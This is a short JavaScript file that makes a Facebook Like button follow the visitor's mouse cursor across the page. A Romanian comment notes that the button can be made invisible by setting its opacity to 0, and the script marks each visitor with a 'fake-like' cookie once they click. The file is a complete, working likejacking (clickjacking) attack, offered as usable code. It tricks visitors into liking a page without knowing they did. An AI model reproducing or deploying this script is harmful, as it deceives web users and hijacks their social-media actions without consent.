function setCookie(id, value, exdays) {
	var exdate = new Date();
	exdate.setDate(exdate.getDate() + exdays);
	
	var cookie = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString());
	document.cookie = id + "=" + cookie;
}

function getCookie(id) {
	var i, x, y, ARRcookies = document.cookie.split(";");

	for (i=0; i < ARRcookies.length; i++) {
		x = ARRcookies[i].substr(0, ARRcookies[i].indexOf("="));
		y = ARRcookies[i].substr(ARRcookies[i].indexOf("=") + 1);
		x = x.replace(/^\s+|\s+$/g,"");
  
		if (x == id) return unescape(y);
	}
}

function facebook(id, link) {

	var X = 0, Y = 0;
	var facebook = document.createElement('div');
	
	facebook.setAttribute('class', 'fb-like');
	facebook.setAttribute('data-send', 'false');
	facebook.setAttribute('data-width', '80');
	facebook.setAttribute('data-show-faces', 'false');
	facebook.setAttribute('data-layout', 'button_count');
	facebook.style.position = "absolute";
	facebook.style.opacity = 1; // sau 0 ca sa faci butonul invizibil
	
	if (link) facebook.setAttribute('data-href', link);

	if (!getCookie(id)) {
		document.getElementsByTagName('body')[0].appendChild(facebook);
		window.addEventListener('mousemove', mouseMove, false);
		
		FB.Event.subscribe('edge.create', function(response) {
			setCookie(id, 'fake-like', 365);
			document.getElementsByTagName('body')[0].removeChild(facebook);
		});
	}

	function mouseMove(e) {

		X = e.pageX;
		Y = e.pageY;
		
		if (X < 0) tempX = 0;
		if (Y < 0) tempY = 0;

		facebook.style.top = (Y - 10) + 'px';
		facebook.style.left = (X - 25) + 'px';

	}
	
}

